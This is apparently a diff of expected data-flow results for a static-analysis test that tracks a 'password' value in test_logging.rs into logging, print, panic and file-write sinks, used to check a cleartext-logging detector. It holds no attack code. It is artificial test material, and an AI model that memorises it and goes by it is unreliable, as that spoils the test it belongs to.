test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | -| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | -| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | -| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | -| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | -| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | -| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | -| test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | -| test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | -| test_logging.rs:93:15:93:22 | password | test_logging.rs:93:14:93:22 | &password | provenance | Config | -| test_logging.rs:94:11:94:28 | MacroExpr | test_logging.rs:94:5:94:29 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:96:9:96:10 | m2 | test_logging.rs:97:11:97:18 | MacroExpr | provenance | | -| test_logging.rs:96:41:96:49 | &password | test_logging.rs:96:9:96:10 | m2 | provenance | | -| test_logging.rs:96:42:96:49 | password | test_logging.rs:96:41:96:49 | &password | provenance | Config | -| test_logging.rs:97:11:97:18 | MacroExpr | test_logging.rs:97:5:97:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:99:9:99:10 | m3 | test_logging.rs:100:11:100:18 | MacroExpr | provenance | | -| test_logging.rs:99:14:99:46 | res | test_logging.rs:99:22:99:45 | { ... } | provenance | | -| test_logging.rs:99:22:99:45 | ...::format(...) | test_logging.rs:99:14:99:46 | res | provenance | | -| test_logging.rs:99:22:99:45 | ...::must_use(...) | test_logging.rs:99:9:99:10 | m3 | provenance | | -| test_logging.rs:99:22:99:45 | MacroExpr | test_logging.rs:99:22:99:45 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:99:22:99:45 | { ... } | test_logging.rs:99:22:99:45 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:99:38:99:45 | password | test_logging.rs:99:22:99:45 | MacroExpr | provenance | | -| test_logging.rs:100:11:100:18 | MacroExpr | test_logging.rs:100:5:100:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:118:12:118:41 | MacroExpr | test_logging.rs:118:5:118:42 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:12:118:41 | MacroExpr | provenance | | -| test_logging.rs:129:9:129:10 | t1 [tuple.1] | test_logging.rs:131:28:131:29 | t1 [tuple.1] | provenance | | -| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | test_logging.rs:129:9:129:10 | t1 [tuple.1] | provenance | | -| test_logging.rs:129:25:129:32 | password | test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | -| test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | -| test_logging.rs:152:12:152:37 | MacroExpr | test_logging.rs:152:5:152:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:152:30:152:37 | password | test_logging.rs:152:12:152:37 | MacroExpr | provenance | | -| test_logging.rs:153:14:153:37 | MacroExpr | test_logging.rs:153:5:153:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:153:30:153:37 | password | test_logging.rs:153:14:153:37 | MacroExpr | provenance | | -| test_logging.rs:154:13:154:38 | MacroExpr | test_logging.rs:154:5:154:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:154:31:154:38 | password | test_logging.rs:154:13:154:38 | MacroExpr | provenance | | -| test_logging.rs:155:15:155:38 | MacroExpr | test_logging.rs:155:5:155:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:155:31:155:38 | password | test_logging.rs:155:15:155:38 | MacroExpr | provenance | | -| test_logging.rs:158:23:158:46 | MacroExpr | test_logging.rs:158:16:158:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:158:39:158:46 | password | test_logging.rs:158:23:158:46 | MacroExpr | provenance | | -| test_logging.rs:159:22:159:45 | MacroExpr | test_logging.rs:159:16:159:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:159:38:159:45 | password | test_logging.rs:159:22:159:45 | MacroExpr | provenance | | -| test_logging.rs:160:31:160:54 | MacroExpr | test_logging.rs:160:16:160:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:160:47:160:54 | password | test_logging.rs:160:31:160:54 | MacroExpr | provenance | | -| test_logging.rs:161:29:161:52 | MacroExpr | test_logging.rs:161:16:161:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:161:45:161:52 | password | test_logging.rs:161:29:161:52 | MacroExpr | provenance | | -| test_logging.rs:162:31:162:54 | MacroExpr | test_logging.rs:162:16:162:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:162:47:162:54 | password | test_logging.rs:162:31:162:54 | MacroExpr | provenance | | -| test_logging.rs:163:33:163:56 | ...::Some(...) [Some] | test_logging.rs:163:16:163:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:163:33:163:56 | MacroExpr | test_logging.rs:163:33:163:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:163:49:163:56 | password | test_logging.rs:163:33:163:56 | MacroExpr | provenance | | -| test_logging.rs:164:33:164:56 | ...::Some(...) [Some] | test_logging.rs:164:16:164:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:164:33:164:56 | MacroExpr | test_logging.rs:164:33:164:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:164:49:164:56 | password | test_logging.rs:164:33:164:56 | MacroExpr | provenance | | -| test_logging.rs:165:37:165:60 | MacroExpr | test_logging.rs:165:16:165:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:165:53:165:60 | password | test_logging.rs:165:37:165:60 | MacroExpr | provenance | | -| test_logging.rs:166:39:166:62 | ...::Some(...) [Some] | test_logging.rs:166:16:166:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:166:39:166:62 | MacroExpr | test_logging.rs:166:39:166:62 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:166:55:166:62 | password | test_logging.rs:166:39:166:62 | MacroExpr | provenance | | -| test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | test_logging.rs:167:17:167:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:167:40:167:63 | MacroExpr | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:167:56:167:63 | password | test_logging.rs:167:40:167:63 | MacroExpr | provenance | | -| test_logging.rs:168:34:168:66 | res | test_logging.rs:168:42:168:65 | { ... } | provenance | | -| test_logging.rs:168:34:168:75 | ... .as_str() | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 | -| test_logging.rs:168:42:168:65 | ...::format(...) | test_logging.rs:168:34:168:66 | res | provenance | | -| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str() | provenance | MaD:12 | -| test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:168:58:168:65 | password | test_logging.rs:168:42:168:65 | MacroExpr | provenance | | -| test_logging.rs:174:36:174:70 | res | test_logging.rs:174:44:174:69 | { ... } | provenance | | -| test_logging.rs:174:36:174:81 | ... .as_bytes() | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:174:44:174:69 | ...::format(...) | test_logging.rs:174:36:174:70 | res | provenance | | -| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:174:62:174:69 | password | test_logging.rs:174:44:174:69 | MacroExpr | provenance | | -| test_logging.rs:175:40:175:74 | res | test_logging.rs:175:48:175:73 | { ... } | provenance | | -| test_logging.rs:175:40:175:85 | ... .as_bytes() | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 | -| test_logging.rs:175:48:175:73 | ...::format(...) | test_logging.rs:175:40:175:74 | res | provenance | | -| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:175:66:175:73 | password | test_logging.rs:175:48:175:73 | MacroExpr | provenance | | -| test_logging.rs:178:15:178:49 | res | test_logging.rs:178:23:178:48 | { ... } | provenance | | -| test_logging.rs:178:15:178:60 | ... .as_bytes() | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:178:23:178:48 | ...::format(...) | test_logging.rs:178:15:178:49 | res | provenance | | -| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:178:41:178:48 | password | test_logging.rs:178:23:178:48 | MacroExpr | provenance | | -| test_logging.rs:181:15:181:49 | res | test_logging.rs:181:23:181:48 | { ... } | provenance | | -| test_logging.rs:181:15:181:60 | ... .as_bytes() | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 | -| test_logging.rs:181:23:181:48 | ...::format(...) | test_logging.rs:181:15:181:49 | res | provenance | | -| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes() | provenance | MaD:11 | -| test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:181:41:181:48 | password | test_logging.rs:181:23:181:48 | MacroExpr | provenance | | +| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:44:28:44:35 | password | test_logging.rs:44:12:44:35 | MacroExpr | provenance | | +| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:45:27:45:34 | password | test_logging.rs:45:11:45:34 | MacroExpr | provenance | | +| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:46:28:46:35 | password | test_logging.rs:46:12:46:35 | MacroExpr | provenance | | +| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:47:27:47:34 | password | test_logging.rs:47:11:47:34 | MacroExpr | provenance | | +| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:48:40:48:47 | password | test_logging.rs:48:24:48:47 | MacroExpr | provenance | | +| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:53:28:53:35 | password | test_logging.rs:53:12:53:35 | MacroExpr | provenance | | +| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:55:41:55:48 | password | test_logging.rs:55:12:55:48 | MacroExpr | provenance | | +| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:57:39:57:46 | password | test_logging.rs:57:12:57:46 | MacroExpr | provenance | | +| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:33 | MacroExpr | provenance | | +| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:59:24:59:31 | password | test_logging.rs:59:12:59:35 | MacroExpr | provenance | | +| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:61:46:61:53 | password | test_logging.rs:61:30:61:53 | MacroExpr | provenance | | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:62:20:62:28 | &password | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:62:20:62:28 | &password [&ref] | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password | provenance | Config | +| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password [&ref] | provenance | | +| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:66:40:66:47 | password | test_logging.rs:66:24:66:47 | MacroExpr | provenance | | +| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:68:58:68:65 | password | test_logging.rs:68:42:68:65 | MacroExpr | provenance | | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:69:18:69:26 | &password | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:69:18:69:26 | &password [&ref] | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password | provenance | Config | +| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password [&ref] | provenance | | +| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:73:39:73:46 | password | test_logging.rs:73:23:73:46 | MacroExpr | provenance | | +| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:75:57:75:64 | password | test_logging.rs:75:41:75:64 | MacroExpr | provenance | | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:76:20:76:28 | &password | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:76:20:76:28 | &password [&ref] | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password | provenance | Config | +| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password [&ref] | provenance | | +| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:77:39:77:46 | password | test_logging.rs:77:23:77:46 | MacroExpr | provenance | | +| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:83:36:83:43 | password | test_logging.rs:83:20:83:43 | MacroExpr | provenance | | +| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:85:54:85:61 | password | test_logging.rs:85:38:85:61 | MacroExpr | provenance | | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:86:20:86:28 | &password | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:86:20:86:28 | &password [&ref] | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password | provenance | Config | +| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password [&ref] | provenance | | +| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:87:36:87:43 | password | test_logging.rs:87:20:87:43 | MacroExpr | provenance | | +| test_logging.rs:94:9:94:10 | m1 | test_logging.rs:95:11:95:28 | MacroExpr | provenance | | +| test_logging.rs:94:14:94:22 | &password | test_logging.rs:94:9:94:10 | m1 | provenance | | +| test_logging.rs:94:15:94:22 | password | test_logging.rs:94:14:94:22 | &password | provenance | Config | +| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:97:9:97:10 | m2 | test_logging.rs:98:11:98:18 | MacroExpr | provenance | | +| test_logging.rs:97:41:97:49 | &password | test_logging.rs:97:9:97:10 | m2 | provenance | | +| test_logging.rs:97:42:97:49 | password | test_logging.rs:97:41:97:49 | &password | provenance | Config | +| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:100:9:100:10 | m3 | test_logging.rs:101:11:101:18 | MacroExpr | provenance | | +| test_logging.rs:100:14:100:46 | res | test_logging.rs:100:22:100:45 | { ... } | provenance | | +| test_logging.rs:100:22:100:45 | ...::format(...) | test_logging.rs:100:14:100:46 | res | provenance | | +| test_logging.rs:100:22:100:45 | ...::must_use(...) | test_logging.rs:100:9:100:10 | m3 | provenance | | +| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:100:38:100:45 | password | test_logging.rs:100:22:100:45 | MacroExpr | provenance | | +| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:12:119:41 | MacroExpr | provenance | | +| test_logging.rs:130:9:130:10 | t1 [tuple.1] | test_logging.rs:132:28:132:29 | t1 [tuple.1] | provenance | | +| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | test_logging.rs:130:9:130:10 | t1 [tuple.1] | provenance | | +| test_logging.rs:130:25:130:32 | password | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | provenance | | +| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | +| test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | +| test_logging.rs:139:11:139:37 | MacroExpr | test_logging.rs:139:5:139:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:11:139:37 | MacroExpr | provenance | | +| test_logging.rs:146:11:146:37 | MacroExpr | test_logging.rs:146:5:146:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:11:146:37 | MacroExpr | provenance | | +| test_logging.rs:171:33:171:79 | &... | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:171:33:171:79 | &... [&ref] | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... | provenance | Config | +| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... [&ref] | provenance | | +| test_logging.rs:171:34:171:79 | res | test_logging.rs:171:42:171:78 | { ... } | provenance | | +| test_logging.rs:171:42:171:78 | ...::format(...) | test_logging.rs:171:34:171:79 | res | provenance | | +| test_logging.rs:171:42:171:78 | ...::must_use(...) | test_logging.rs:171:34:171:79 | MacroExpr | provenance | | +| test_logging.rs:171:42:171:78 | MacroExpr | test_logging.rs:171:42:171:78 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:171:42:171:78 | { ... } | test_logging.rs:171:42:171:78 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:42:171:78 | MacroExpr | provenance | | +| test_logging.rs:175:35:175:81 | &... | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:175:35:175:81 | &... [&ref] | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... | provenance | Config | +| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... [&ref] | provenance | | +| test_logging.rs:175:36:175:81 | res | test_logging.rs:175:44:175:80 | { ... } | provenance | | +| test_logging.rs:175:44:175:80 | ...::format(...) | test_logging.rs:175:36:175:81 | res | provenance | | +| test_logging.rs:175:44:175:80 | ...::must_use(...) | test_logging.rs:175:36:175:81 | MacroExpr | provenance | | +| test_logging.rs:175:44:175:80 | MacroExpr | test_logging.rs:175:44:175:80 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:175:44:175:80 | { ... } | test_logging.rs:175:44:175:80 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:44:175:80 | MacroExpr | provenance | | +| test_logging.rs:182:9:182:19 | err_result3 [Err] | test_logging.rs:183:13:183:23 | err_result3 [Err] | provenance | | +| test_logging.rs:182:47:182:60 | Err(...) [Err] | test_logging.rs:182:9:182:19 | err_result3 [Err] | provenance | | +| test_logging.rs:182:51:182:59 | password2 | test_logging.rs:182:47:182:60 | Err(...) [Err] | provenance | | +| test_logging.rs:183:13:183:23 | err_result3 [Err] | test_logging.rs:183:25:183:34 | log_unwrap | provenance | MaD:11 Sink:MaD:11 | +| test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| 